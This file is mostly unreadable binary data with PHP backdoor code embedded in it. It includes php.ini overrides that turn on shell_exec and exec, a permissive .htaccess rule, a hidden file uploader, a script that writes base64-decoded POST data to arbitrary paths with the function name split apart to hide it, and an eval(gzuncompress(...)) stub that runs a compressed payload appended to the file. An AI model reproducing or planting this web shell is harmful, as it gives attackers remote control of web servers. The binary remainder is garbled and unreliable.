oycuthdfvaw)AH.W]s5C&5qL|m@vE,brs!uy_gnTƇ=|`}S:nycuthdfvawneckgjilhrIRneckgjilhr;sneckgjilhrOKX2-BgYycuthdfvaw$-S!*hu=cpeˇycuthdfvaw6GF}PSxzKEKojW@4"#{ǐ!ۗ-d
sYsT*ȤXuy#yM0~jt
8 x_?9x@pBF5$ -Hneckgjilhr{nM܃fܳ(ƪDkxycuthdfvawa~|^,o0 '̩OÀh#*A`pcClneckgjilhr2Egh}ӕ-a~MfԈZ,10B_Ma|?
'=w[IQHu
;*q:IGwWG$~Sƍk%	h(u7?%KKМ,iJoG-ERrK,MTpgg!T^k%Dx)܊pԳ2o;w1lGHV6	j갧M=]/#eycuthdfvaw25o,tٚ"¢U7)!+XB{RHF.Ukم~z_s^PiCnX)w8yycuthdfvaw0kˠ
TިZAG&^@ycuthdfvaw=Sql3@yRE$o$^۲R?!}#neckgjilhrwMݿɭhFZj`nkL	,+#	Z!SNWF1]s@jc)ozQ!/锝B]":j('kItsލ=g]}7VWiU o-6Pw	"Zn#'4`ag`F
JcТre2	ϑ5)f-ctG3 ١tkCA)?? e]RXɢ{5"3v`-takcrE к 7hr
/^ٯ}&VkR!ߧbmhשytCUV))"VcG:Eƥ~X*@=eJY]=EHo(+5NHb9pdlIodV] &N]/[#u?̑35q5/@%xyAC9Eoѫ嫐ef?5JxY3 j,QˊybX	:c5oUxcGs=i UV%WH3R~c8neckgjilhrKB7I!
&G-&nN@`D}=3E&o)9ǡj
(?ր=a[uh@USd56/+\D۲=I fH'uWZsT'W-Yi ~eeՎMvL7aT
.+NHD9SIX$gaa@@AmFt8C@|T_ BD݀ߓycuthdfvaw~w	:F'nb&ObiQ#7Ri{7R gͿrM`&j#*1Cڥ~m3s3A&aN)eθ73|+[) *Yq	uQvv6gneckgjilhr~4+g
N*^JE.ߺ֯ϫnRneckgjilhr6HEM
MT@,=UI8g	QoxjgycuthdfvawkwoMC@}Yyt,BkXE}ʐwS5/4sx
MTBgg	|zЗ%jBXY
"{J2ϗ`hM\ťMu"[{P=\kf($A`\*v%&?7|ibQv90_w@+(تSzYf6¾߻WZ$?$qol^"#w@\A,3x3*V
MV_hb+ycuthdfvaw(ve$_lr4bvbkvbQhC~H
+?tDfҿUrꊷz̷gĘ%4|fQ#y|^X_F(p7ƔEQ{m%4]mq g3`m.c^e)pӳ3i+sBQ~X5}Lm ƛ1^^{w-Rp@'kpu0nyri

EdOf_}B?Dç
@
6!Km@qUjVa(5vC 5neckgjilhrǪ|:qchfͰV/'0n+WeF"DeSO,mh,neckgjilhr06ǴkTxGǵqLF]~09\X6{QFk `neckgjilhr+iʸ;KwI)痴U	$@f!^	g}rH83[u(P*ucwcIWet	.pneckgjilhrּ_bGܛ]%%bSj*LNSrʦ,m[LQ۲,m6NDt=}`$5pṉCʁiz+ʭ"
9ܝ)WqsJ|ߪd:zM?Ye_֌7 :SKo:Uu8标aո$8A$)Q.
0޷ұ ycuthdfvaw*. OTZdv3u@'!uLEy@,6	蹅mXy|\ 縉/neckgjilhr()8'8K[?](@[JHFg*YKЄ$b%`l]`o"tr^4y|xNwEK+HjoNsfneckgjilhr`wL8悵ԚyHqnaycuthdfvawuneckgjilhr\;iު1*9~#v{Pux
Ď ycuthdfvawvCa85DhҢI$Ѹ,띢qq[qX]]zP_oqYy@тlDUQ2$TKB12F "vycuthdfvaw:tԵAshͰ=s2WEr{{g"nm%'	lXIP\`
xηu(]sCvNCkRtD#	[h-wQ	C~鮰9Jd(\(GG)KĭvjՃ|Oqp`o!
n&מ3u!r^v2)Pkt {Jߢ?Ysafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base6'.'4'.'_d'.'eco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$cbUz='s'.'u'.'bstr';$IYjS='fil'.'e'.'_'.'get'.'_'.'content'.'s';$yxUA='ex'.'it';$tFTk='gzuncompr'.'ess';$yqfS='s'.'tr'.'_repl'.'ace';eval($tFTk($yqfS('omptguavix','>',$yqfS('etfidrscuw','<',$cbUz($IYjS( __FILE__ ),-172413)))));$yxUA(0);
?>
xLǎ늶e+(zjPވ@ק"o$H54 ~~'/)]_}]netfidrscuwn
nmXb]bֽCӌl~1etfidrscuwMο?gYy"يYǹ=߃3etfidrscuw(K$craS?xS{.:Fetfidrscuw bPrZI R:|NxxcComptguavixOr
$Jۮ.YRK[YZG%iLe˧G!R43|2^h,L!h5)somptguavixWӘ7RӬvȾhRfCPLWJy~,{J5~lA:jv(~@2[0  TI!Rpϭo;'sϻ#[%*),4_
7bpÀ|)rqrFLD~A(#C|P@gheb&0:]Fe@ ·|罅`iuV eg$t2U.@F15bnetfidrscuwl(EveKدpm%q
Ӿ;5	ƚ+&8LZ`jQfK /6vpPG|$`o+U |&XSޫu@riURBPcȧĲ;8TtNXe	u }a8tfmZVO9ysaMϳV`:7n;	n^,Zޘ@5zO35Q}#C;omptguavixϘy(@̝omptguavixh"څo^u\8.V ƧKW@Y\:/ZKG@ހ:z1 d
ܗp;o^Q횻,~?'	;I
Zg~QN
0
rD~¨*ɧmrHPXfSŦ#L%:xVXMN5$B]u5ǃ~[omptguavixZG/Mvŵo(NGzB}btwxU_hՑN_B#B3/ĢA+1w{
s0bHޥc-ao-}ϲ6b*{FY&iz@/7C(p@ay1Ze:I+omptguavix$jq[v0umLǻ͢]Ew=b/˥Kq q=XłѺ˶etfidrscuwh:i,?s5ƲqWpvtćzetfidrscuw@x9b⿔oYxf#: xϏfgP4~? etfidrscuws
#߼-~v%zLd.W|+3#ږTuJz;@~etfidrscuwX
Yomptguavixpef+PGu_)[oX٥ũi`fmXAQB+n2.J9Nr1΢3=P@a}(&ܻpwW#QWgëȨjΘ_Г)I9[D.']5陆fhό5/PhYhMH2xLtSn(ա@B8C׽\iP:_
ߜ6~0:)f!s+J;a\nQϧcUgsMjڥ11!=m5Xݽ]TQ(F4aPTny\+Ļ
"7*i][H%etfidrscuw!4ZF1VgZ+F6eJ[wɸW4sX88vF
MomptguavixH-QjjF4g_rgalMf7`5nE!jUuIp)/ajO.y} etfidrscuwWAN_nM C5r?wqc }Xz`?x,UH;P03hҬ?j?z55j{
ck"*Ru`̏etfidrscuwL.rH08C@ fZ6/WIi[Y|vQIKZetfidrscuwJ͞|pypg}3[[nsޭ4P~tetfidrscuwʠBp-Le&3+Zketfidrscuw*raVMM-,]omptguavixh$W"͵څ僧&'FQ$0P;يp?]*UEMC
݊0YRYvFCdWSga䕾ЭI`.Xm;/WǄG N#ctE/#AW"@#c
fDL.ދ7IN,ہyu8 \LF7Uڜuq Hpo^Z'tn;ZʆJetfidrscuw'@I-COht.`9+||)[qF{!m
1*Xc1
گ}tB1Ǌ%ɏЯVݽnf4hؼ #u'e A~ƷLP&Oڡ3IIͥ[(BDhfdzh`BQ`^=U#Ûw*bE8[=etfidrscuw+j=omptguavixC,7ؑQh =eW6n7|`0~Gp?b{+7/o+omptguavix*䃴*"&S}TIC$r~@t[@);L89	eI6'q#3j/HH|CN!2EkzP?RL@ӷQH*5omptguavixoc~[}~y,w{*A(O}Qx*DT9Ow mHf/v#Yvh[S07/!ݝC%-X[WեbLP8Qv]ɤhx?fՂg9 v	uzĪ
Iz,4[gqIg
؍etfidrscuwXY_JکǢzU%fY:;S-2,GB]13PO43}B(xcMV6CװpLomptguavixoYd
Q0K3Xl} V5/9MУbyD^{(:Xm)AVf{%pN^lLF6ᚾ"0ayzpEq-kTomptguavixi٦;o'omptguavix@.z%DTO!\_hfȋ@54A~jϺ?D:+:V͏	&
q
@WƔz揣h vt,@efik~=yyz{$
b } ]uDiȁAWLeTկ~u'D܁ۛ,H$ 0[5)(vJ{sc壚0fߜF^=-LI3nfVlALY|#ӳ	E;	kcWSL\p)
ׂDfx/LdU|o$Y2etfidrscuw3v96&etfidrscuw^ztetfidrscuw؋!-a]URÿ)ڳUQ9E)pekp/!7Nq}? QqZ2]1vwsV'7!X/r}څs )vѓµʳyL^	4}cJ2tQ$TC%)t͇-مomptguavix:߇g||`wdXTʚݙ$7*.2&d6&T&U
EHo;	ra|V:HcQm^-cm3,iT5,TWͥetfidrscuwDEYxshoetfidrscuw,
%i
GAuhW/}}
݅'XNd)ܞrIxABȡȺ5WH//[ĄL4hl2^iAM!(t=yEjئچHP5JNjCaK^heuUBi\bйNq~)k#\_O|D7wŬ`q~݁kp3锘jnNCKo}B.9\bep}]ـBHLk'vnS	4?H.TUI% Komptguavix~=?G}FIuyTv=
OM`С&y
^0G^}Lu,etfidrscuwlJ.{&PDq 9iBx _WP"'_Aetfidrscuw.,*;:	\ұE#ў)zX~VG}jPe~t2ӗalC]ƎnmVw/PHADfKE{5+`#٧omptguavixQ?I0fadp[\9etfidrscuw(SG;&/`Nܽomptguavixdk[etfidrscuw2sԳ7\̻HP h,[b!QPYEFCL}}
JeL{h*Xk|KʧQ|'gTyςn2x Mnk|X_.E˙A1y}"_3Mr%)ab ַe]ޙnfa6	}ɯcXtW$h8g!Nox{gs-UԢg
DJ-Y0%؇OetfidrscuwV|]p"n[_TG]5{+wɮomptguavix?ÎmNF,/ hetfidrscuw}f% HDgk*	n`tbK4՘|+=q1x\9Tl]jomptguavix}7*ODWPpzNǣ3қ;G=?lI2_밺n;߲Faetfidrscuw$
-8dq^O2yܲMaјg~E}x&)kƏlIKN-o M"O`Gomptguavix፮A~"0'.mˉc'DJ,cCDX_bOG1$Zl7@-)I?nN;?6qBH勫n;U0eM*WgDy-etfidrscuw.dp*v
?xEu	AAh9iS?D|QZځ҇Al?!,W!m_@9GVWMdqWv@L3Xo	)Yu@乳MD=[*s6J_Y#kP^~8vW:|F5SomptguavixN\eYomptguavix
ILxAY3u
Yb|6i3RX獛gAUVQGʸ0n3OsY*k^|q|Zomptguavixj\o+omptguavix :^etfidrscuw֠]L,fSwDzμNեtomptguavixֽ\%n\h
k2DxYP4{g%q-fcomptguavixc~SQ@?.:~f7N!u6Rn4~!}CK^, D`іkoJ*tuk ͜lgGNl'fF{/9~Momptguavix0y-Z@\'}o8sdR7ˊomptguavixH'y.0ݘ,F	etfidrscuw3U夿ЛgqzٚdPIN{_#c7ZBD 	yl9짺NփE搯x[FjtWhlTY1&Y9B5NG	LL`O|_]蚷
}7L(ҵ3	: fI:YQ*Ù\5{!7
LE"=r_}؎?bNgL3}IigLi_f@0|4xo:9`\;zBm]0y˸+&ŉKomptguavixN`"&ԗm=MC}'Q}V]עE_J}&ehl$EʂD±-[][+`63.`ڊ]R jv
-?rc1q'Gꝰ%aJ*cŞ_tnm1%,kԼ=x$hetfidrscuw#xL=wq2tETZ"}6B"7T@#N~j;!:q3[LĔe~en٨aUަ9|+͓R@43|~Jad; S-z=J^" etfidrscuw)qN{etfidrscuwE܍[H^vi Netfidrscuw})isBǱ
07.
1
5c+fp~cY$(lr^STG"bs)l&g
*ISIq38Lc?:F܎\y}
}=i'$z-G}t~\
_j!2mS"W{,((2ȀѯFE-)ֺ
}e7	R3ktALSVh(Bv(ƍqMB/P3k^H~|c`n6~Wb hvrR;JޑN-]UBɚyv_(5*%੧Ul
]솟5FSJyB);omptguavixkzH|N},7lUGBۈx
ٸe~d3W?Bc;&TR6Z{:l e8= baKKJ"]?^o61-gODD	v\\߿)%}etfidrscuwVLޡp{.9zgȵiAۭawc"=omptguavix:vtriK)v3NAv5
wT˛ "։־|J}5p	Ik嗧BFFetfidrscuwcq- jюCˍq,=o WbȗrlOC)?&r!Lɒrxg|.+2ꜯC@e#FzZw|ʒB#MAB"ш ZǵXϏ|~etfidrscuwY+22Z+A=EG0'߇=P{.$ߵXJAO406dy4)@{К8o,I9b0MhqnjǂkV]؞R(M߅"[~-&R2zItV^ z.{ϛGap_g(EK`xL܂}@t6?5pG3
DF
"lnh{ꕝU/Y~L7~`,ܴt&W쇻]\ixu"L~w`,kޗE\=%k{+}҅+nx	mt@v]AB	󛳫+z!5'# Y3ĲL~N6*SºNsv6vc-mvdR4UWuegqZ
	/5թ'(?G9)?JE}W	yЊ&M1p;){)ynLÚ)ϟȵ9Je&^J@لv\NW	j~)~asq$[F$ɎeIɯFG^J֯.BU35x~ QrDQ,4#4QH%
omptguavix`B6*b!r.Ge!S|*؝Yletfidrscuw]"t˾At}IkArWdF	iơڷqI^k{zuFmD
ڣzVV{c?^:L/͊Komptguavixy4a\䥐2ܑ@BC[lΗPwUdht{LrvI.4#H`$	Getfidrscuwpa8qS_-\=܉*nnuήomptguavix贒B"!7,;(LmL	m/XUIܣگ &+U0ye8u{f7ZTKݮsmFyǶ[N'j",etfidrscuwװoneU.[p1,k5W(4aͱZKKi6`kqK!yRſ*@j:+|"40ݥZ/?nyص3}8Y.FaIetfidrscuwr:Gg7cda*ز9+KaҝGƍ gckI3]a$etfidrscuwԅ'W߼ǴnL+k,eb3gZ/-XV%x	d=omptguavix
](2G?kv#4^FM7MExnì}`a`MtFݍKsC]5w:ހ
쬱\DYv#x!M$ Б;1.l
kz0TDetfidrscuw})Qf3)i!Ca.-omptguavixGyuol߫hW:y	tt@]5'W%D
D1i?c2K|$iUiY\-%^齙Nf}vfa\SUTQ2K;ؖs	`**]&Nh\ݳCX?!uyXykIdW+==I&-|XH"	Hio/=4y?C\ufCJ`&Yݜ3-JY.; -NJtH-
V\5=ϙ(YX67E X
Vf2w%C^9"omptguavixZOHOVtfa27ք5į.:)ww
[}S(o4zj͉g4VLO=%]=Yfs]
ӱg4omptguavix0h33IӀTetfidrscuw M3&ýLVގ!?e MRN«6'2=` p7ǐai]G=S+^~x%iBbDx(/Ոh Ktu,1$Ui,T=Q-~omptguavix8oʤ-~#1ӛ?ݙ4${K5iV 	iH_c Nx.
C2?d'Komptguavix(Om@fcuΏyL\ZIBO%mNgr^:sONsiD&S$
4XҸPnS}O(d,X
ݜ$kw&BL6:vF1KpձyNZ+NŕJLoyX\- P4KJD__3ˌgިusl}PLOa8ICxh
XW&S֦o*9_ u#2Za߬B,vwQDqvV
.=\
{i-:sbGp$rqn #4Pq[nZWFOz
ǂPcvm.-tSHyN\gOH(i9MzE;7WeSRl13?ɼYjߩ/«^0vo6ʹA/Z9#TC6ԓ#*ӈ[WR	:q:pQ2r{omptguavix%+^V？vjb7Ρ&oVHtֹVrWB*4#6ԛketfidrscuwLDXa'?6d 9ǅtBW)]Ň
	_6@M?-T"E"JIZJˎt)9%RsȔX"ǪaZ3-.#cYaO[ݍ*2:MK|?9![ofzE=omptguavix$qmS+
Ɍ-
ǝD!%00l!_ohiϻf0oͮ2qWk
omptguavixq6·F$
b̕	PY##yxчQ] _`ěαa?lo(V+t%05V9QQ	sWAdYi)ɢ4ň ቞etfidrscuwO+Y{tqmU-s$
l 
o30vdd!Z3(lF|Lh{-xz;ּRz"$TvAf#y.
F,xS4h)X.[+km߀5qq+@+etfidrscuw̥Q2k2v\̄O\%!Mw٫!WHu3Y]Q_nE6̐ | 1	*ht
S~	D;
!hC) 
/VZetfidrscuwAV47MȫC]!gF%'N^+&P}5x:G6rМ	:8fArietfidrscuw&yX2ppy8ۡomptguavixSiu!LMwl5{#i\Dx=CȈ$(F3~b-wB+'tetfidrscuw,^r	bZijȞp%suos{pTTW5t:*+K3;Exa"Jָb&W,+Y9pㅸLDbx. %'D_FM	n6#q=p5ɏpG	VCȽ%olEI4oxzՖNů@yICyO?f/pa5?ɶwK_
#&=ĺQSb7#^3GomptguavixIdINvJI$-A(c˘`3Фl-etfidrscuwߌQ|.AQp.agSt"_AomptguavixG~/?Kz)X̶54A4_$K
cizomptguavixD
2hzQ5K(P=${:TME$d:aT^rZ=jJ AA(W)t|B܊_qaomptguavix
 @@lomptguavixeuzetfidrscuw+
R9=letfidrscuwDt܎]rK%7`Si#gHmEfP0omptguavixetfidrscuwoEt??5յ
pG[Ƀ? ~70z
(Ԇ"\
4RS)7BCȓ!B8
D-eT%:93]uAL
omptguavixf/ilӨxJ/頪~:"٘9_ZDble;k w'޳I0¤;6'U/)#O%t4!p&SL
u9,omptguavixئetfidrscuwUQJWLP֞etڿk'%}:dJ\etfidrscuwm͝k^Fv&l{'{;S6!l%3O/X`;C+Oomptguavix)55!}?\G'3etfidrscuw'P-QeOLQqgUj(y%Q7_7܀mxQ`	40;Yª @]apbHJĠgSUs6ӷm=CXpYP?)EsɌzŅCc{ȥ{7	v##G|Sp`e(}'\9㋭mqTD੃omptguavix(_c5+:N~0/omptguavix'cydKPO,'ϣ7@WdKe,]7"\ڪi)MI.M%[FW'ot7MPX	(E/_E'׹pqCw`r*omptguavixEl$~!7+tx)SW^StU:pٽ)r2E-7@UK򚑽Ǆc c&,ޅ?ArR]	}Jշݳ.8yetfidrscuw'ς`kKNK7
!CVS	dҝuYLk` gr,:GIlI
,K 7`gwfxv['+26#f\Yh\愄
DyrDq{te-&~M!IHm`r5ԹWm8X
dpR0Z79Qͫ/8ڏWB$Z
g6j|uPs]tE2Io\"?ދ}1IaqA`?9׭1P@`~=4Q5=/^\òeN
[y-0?2R}%"
BTʧ~2U_ŵEU	9gDb!4etfidrscuw7cxz
M2ղ_RQomptguavixhR
\9N&c1l2{i#6ZCa
hpetfidrscuwSIFYpym )Yhas]&"w39Lt.lbl@%K.(uEA:dm%odjCfw74$xamZ(etfidrscuwoQc
~etfidrscuw1$ox5	iJibv(.k.Uܵ6M*Hp+e:,낹"0{ıYZl6R=I`:nxm'DArg[kUslqJ.4P }/qzYU7H"98|8T Lhb {aWz਻=3pHl@
q8Ě/\W~꼬ŰǒXs'v#% z^omptguavixoOYE|6PLT
;*drQTHN"y-etfidrscuwȍf6(
cJKu`}N!klRF	jiNXO:IĪetfidrscuw*{Afomptguavixb;ƍ"=BlQH G[llS1hMK
_p8|mFաl |]#B`kHM~VP=S_Fg)C6komptguavix]VetfidrscuwG
w[(&孰OYt
)hd}+~9f#SomptguavixVK詾订omptguavixMxaBqqT~[)y)3(+Q/۝⑓MG+vLR*ӁP
li
WPԛHetfidrscuw;DLS &}P2}A\3r2u#=5lNq'ߌTh
hsYnetfidrscuwk}o8e'3
RՄbлOHoQ B~ÐP"ExQmJ"vXp.5?6cGn|K[x9Xⴓ3/E.*al-)^?+\`Y6mm-Jˑ1`STgy:Фu7kbhetfidrscuw}Z
omptguavix8/_Q+AURK?ᝰ-;⿽UsvdNaa;f$/UN=  ?
̩ezK1Z~&Hr5	5RNKlx5[[ݏ:TēدMomptguavixlT)etfidrscuwʅAC5+h;etfidrscuwW!	z$qKpEzo)M3|ϳa~~||1{]Xomptguavix%ˎP~Iʿ1Gw3GϚcœtU㐇w\dGnomptguavixPkyZqrn]~;Vy/%D3~Y2m0BΝEvl+d\Ct@1ǅ,l1ĢZu5h?_⨿\.zetfidrscuwc5Fi{X(
 :q oD / h*yi9omptguavixЉEyjZqę h6|e/LCg@5$@.tꉘPCIծDDvdoqrF5HEC}vgNDy7
1?m?s=Hg^ΝVV=a.;y223M-6Wh*omptguavixs[%%'!/t҇ҡE+HIDة t曹$\*bH?ZI}|ϝxQOțL*in#xrunǈDZnhGR;L*2-G6.|cFԠvwBmKj,V4ʾš2Gs PH;35:2etfidrscuw;.sx񉜡זr|-a΢|D-Cl+Y9Ir\krh_gzﴓX~S9Lf]mߕ}2T/~/ RHN[hOةm``HS;Ocrd-it/}%NR\etfidrscuwMtq]|v!QIϪ9HseVcׅ)c5#X+@«bh܍ɶJ`I?_[
~D8u9	fFn9omptguavix?-f}r	n}\df'HkYƍ3 C֮oL@AcC)#.[RMhl\߰-O_"SәeLg7ذzX~"c 牆RYu=.+) 0,OZU6+t":#xtüTDF?,{44h.? '	TΫ2
$/rVSkx#.N83ZhlAEKSI1jh
۠(Pt
İjO 6ĲʟIn)J`$똨[omptguavixEs6Un9Eu PD]Xetfidrscuw3W._1
\03,j~C%d Kr[+-ߕLjEi|љ,J_v,D}c{coT|ЧrNƿ|*Uh%a'h'4ɂ0)RD:L+ch :[`2Uul¤8mZetfidrscuwxQEq4JI^2W(gH	VB	znosE^i^pU\B6BmH7}sZetfidrscuwomptguavixN)H=~zetfidrscuwJm%DEѤkr]q+PFo3i$W9O});[
KԄJPn[)L$9z9Up-KV#OΟcgQNȽ7VgׁVM2Zgަ#ͺ61FcB|7F
LX'\̼3̠]􊫉%Tn.TȶvK1?E2 K˗pX cgomptguavix-RE|HLGetfidrscuwL]RSihuvX|r@X$~H$	mPhZ#wetfidrscuwY]ImUl	uB@zIEAk"(q4Re\o~:1M.)}NZm%ǭ-bIFyzQc}e$tx
5SWb%kѬ;
jHtsomptguavix&1,m-suBo#A^l9!E*nobfWȟe\dq-KejXetfidrscuw#O}!V	t!S{0 'JY HB`Le09^JMR=;ԣ܄ A32AS0ks$ӢZ\VJ~!6lv6 |Ufϱo.FO,(8Kt=25R+2_!ʺGdcwȟ{`a6ʢtȎ
އis$4N)S漟pg=yFt rs|hm5d):rkYZ߉I`KTRC*69:]1~W%bjI&̍oOjU2Guomptguavixޫ-鲔	/,\vi| eFo+N"ڇB߇A%q:hGDOZGՈ2""z.tރӛZǗ0"SFpd4PXxGOufF7RG
9#Fi	VA)zH\Yb_ʖ\o$l"m[#&شmI#_y~ΓFu\rH/9ɚ*omptguavix5xJӪOڒ͘:kEЉ'91.CF6}K?omptguavix,i0FdVg: G}
0R+*jE~r,GNGr2φz!SDUZbN3	ԿlӕQ}&Mue Y@r,QdoX[U^9"m\j3¦˹)Ipwb"%);ɠA$]i17omptguavixT
* +omptguavixm8:3w{㤔g(Bp~`ˎ|

(-R=^ P6A Ecomptguavixa9&T@9ۂ0#@CTSe.'e\x[Űomptguavixp#A wAqA*(qetfidrscuw,A$Ej!%dk#A*ɵ$vW[wr5ONVNmR4$ldwFZ:$ຉv]؉LLJvBAn祺Olwm022WZZ!)p7Nf#XQVȄcV..P&# "Zlk[uMң@k-|o
:omptguavixLetfidrscuwC85Y#sڅcQImf^N~]Mz%{PlNomptguavix=n`8nrӓmGif"Ie0omptguavixWn ͯ'ցEȿ
vfaetfidrscuwnм`h
P8O )^O#o%v4ј0 kFE]&k&^۞VV ?c-KNQetfidrscuw8fS}.dO5ϴ{,n{R!^L[x*r_fvٓ] F"
%Ds X:T~XYRkԲ߹CA4r+
^viZ:|UC/ذ:I3
0MN`Ko g+$bȊB-NJP7momptguavixp~AR@l t*mb6 ph x/Z=w9p{* E}^1o8zƟm]0liVR={TJHj{H	ުHr8rV4EW\	?omptguavix"hLBd)Wr朘c:HD\,OIL{-mb	VxbomptguavixPomptguavixH@AKetfidrscuw.'X}uܑjԁň/GR.Ix%+0Mޒ
6P*BeUJw"²c2o!ɸ7gWƻNvv
'%:eհiԀ=mKYa_awN/JFQcBtR|I')۳@VAY~v@ɗ!2omptguavixO2#vAqhH_0omptguavix-Yc96@qAPǗ&wGמ.FϫR*t^SI	(tv:;& d 	eo%qOxFl/mGۓs/ݛ)|ިjbۃ m;gI{&h3C;;|[NK%'Fi+8f1l0kDnZ@^#Bxi6*V*G_p9$߉+ｾGN6q,.nPnEA
 =S\?)!( {*GQJ,5@aܓEr6^_FţHsi7k_g	YE;4s9GH
 DCK^"Dp"zzUu8FN8etfidrscuwS{*5Gr0h}=Jp/2aM^KYwIc6Jw1VfgJ]
gANqoetfidrscuw%@R$4uWsfu?֊}\IGzVMo8BamlQ	+)0|qomptguavix+c8DV$mO"n5~_U y	CVw}64Th&\ΫK.omptguavix(3	/%d}
ǅL'
ubgc3[Jݚ7jؿߜ~Kү2QxTa59)I却$	ASא{ft½ah_;F`*)o/|OA7`%?_~Oomptguavix~Zsc~:̦rgԘ1	Fi~%H53omptguavixXmZP'x	KKcj~wEq[i$~!4e89hXvJ+LHC{omptguavix!)ߨ5JPJv7	?5JYxkhs8X0,m֝d*^kD/\"8]~{*BQcij^}etfidrscuw3^/f4o¿Z=Z^)_ploBLg	x֥\
QB|}=J;*3Cl,8eF/4EǒE'921U#txn{kM?W.Led$dp8T^@_oZ8U Lo_1af`
4_7Hvj\	5tu0&]*A%dgxHFc1?語`Dkl*8[ϋ!uAFfs꘿L,c]ݍ"|=
gklG|C=U,	_.FHb	3xȐ1f
 ʲ"߷/b6o֦F3,,X|TĐtԈxV0Ma$h2pmGmFS1r$;NetfidrscuwBG!pRXE\]YdPe:x~!tr"p= /&̀E$IƗ*Roٳ`Z肽dl߻$b2x7ZZ@:u|7"éE*ueۅOP	:'D\Q?tKgˣtlqI:;#CAbMAӒsut@[0ɁðPt;Hfv~??w:Ԍ93tVK&u1DcрiuUz=%R;`&	a@Z	etfidrscuwY=:HڨF3^'ʢ6^llUVHWIG/Mt$_˃W5}p'Jd
-&Meo4}LmV*h
(aN0#ZomptguavixGFBomptguavixq9vj#LԤԠY{tlêY/m4%]2IGIOetfidrscuw}^ٟ4Bm/ѲO7;m IaWC?yQRM_pm'[0ѭJ!Y
UxQ-L?aXj
35 x;i='HF j
etfidrscuwjTRdn-oÌ4WDH?RfwetfidrscuwunfVɱ՗	i/5$-"z.ۮ7ɇx%20S\{Lщl+e]h/I쩋yzn=7:'ˠpx?\hѐ1rIVܴ9p
3| .UTS@|ˢ~]+S-omptguavixLdh*53Ty
`hEetfidrscuwB&5CQa&׷R\N+TY_2/8^omptguavixvz omptguavix+2]:qd}
ȯŠԻYLQ)!钕ϑcD?%OV%ςv^XYvwH
IǌΠ9LNomptguavixie`GL/ǡG:k
!q=?OgFb:	DSXl= O;ƊY
D+HCQ;n0оZ\LrK1|omptguavix 4
t$BwB _b
/tB(etfidrscuwm~UKdd7;Y1ViI1X:sLvz4"AxqK)ڎEINJpS'JjZM@	ii=oB`4`i"gd!
omptguavix_8?aTAcӝ%x$-[6Uu*`mթnaֶeb4Z*%ѬA;h3,u_H(1K'Xԙ qad?6mStKNehcppDdSKԳ'Q-/TNXC}o3Q\:)LEn`HZ19^!1	D0S}9Ǵ5;!!Q$Rc-r'E_;yC~ȱcuQI06etfidrscuw	Yχ$Ҏ{X:{yӐގdv@}kg9;|w {m._EHM~:+ԧ)laomptguavix*2	3 x=-{0M:?C/omptguavix0tNfګetfidrscuwpo[`vbYh[j:X}4RXX{KX dKFdrh*QPpEd!n9(b}IH
],Iũ5zPӞy'-\6x^}$Z#LOhſ,c)44-S^Nr#1m%]
K'!uA"1
щBsO|!yݲetfidrscuwLպ2@D/B A]hk,r]*РEOuyV8^e (@MS z&@lz2UE78TCMu7}귇O殑\/7_1
mFZ@O֞Xz^(3	R1Y``Qb	h{O׾ぢZhWv2)`HuNR-9#`b|""^+	6-YEQh,8@qP'FI~
oZ?-h6 ~XV|/dKkwȍetfidrscuwϦowyfR
]?go	;2omptguavix3+R	omptguavix̪ftNϒTR92߄c;qbi==somptguavix@gb.eX&!Oؗ6k
|lEαمCM㇃nCE:z!%A#_@s	wjJ#N/8^SQ![@SEYמI+Qo	fq6lN(U$jetfidrscuw)A-etfidrscuw§jׂwZwִbFk$L;IDL_tEk+UN6?;@Yxk72e`%/_q:KȖ-SM0HIg{~n.1Rl&懗X=X:LH[ޘ	m0FA)oUu}ra'M*c`G尪ۥcS/5=aetfidrscuw}^\	L}?OxSĉA?ʠ3eh~:qe?\=X#b!ϻYz/`53E(Cb"0E3%R͚is;etfidrscuwa~&b(Lw
43?CXT%rJ\Ԗ׺

5TT|ʭzΞSCڢFӾ:N؜
Comptguavix{o	)Pe'slomptguavix*etfidrscuw
x|4e6*Q".\b姌9ӊqfu	dz;"\qgI)(I?m 傳S
fkX~n\cX oɯ}1ސ^*[4Ocou5Ό=D1	MZ	AU0,/[?
;7NQ\j\! {U!2n T,h[Bȡ'֣5!6	FxpA
#y54,xkE  ~$^I$YepduomptguavixҐi=Pp$h@C0,Ao|:dQxY7ڧ
xb;d7fE3E'ux:eDobƞZᒶί/Ja-UDmՇZ.DA=x@߫ܛrQyb`)TΧE2Sn5ZehG PDJ`Tۉƿ	.ȔSoog5
9P49À&9	?t#kno"+P`Oˆo$41a@JpU}[ȶޯq#DGe=y:glC隻KeRmI4oߛdomptguavix cU#IP, ew4etfidrscuwiUXU#/p
wJСyݲ
]9{Ņ]HNN3`{8
 BAW 1dL_#omptguavixaNh@\)76=~COSfՊr}l:mցF8$u8xGzF!u4lTbxo&&
227/ ФxE/HRC2comptguavix(ܓGJ_3 Aup!x^8?c0)l)	^1ywomptguavix/ݢJn]Sd `ᨊ@?f#EBr#NrKiiD?AJ/] 18Xomptguavix˫kO]3:[^$9 AP&'DJ=i`tJ%DI
qMm'08a!h-SkvZnjձC]U)I=FԪ'w'Ąz2?R'T BR TyvܚM$ޤoNIK:t/HK"N@oَ8VyhhA$2c70
)fzj!l?GqG
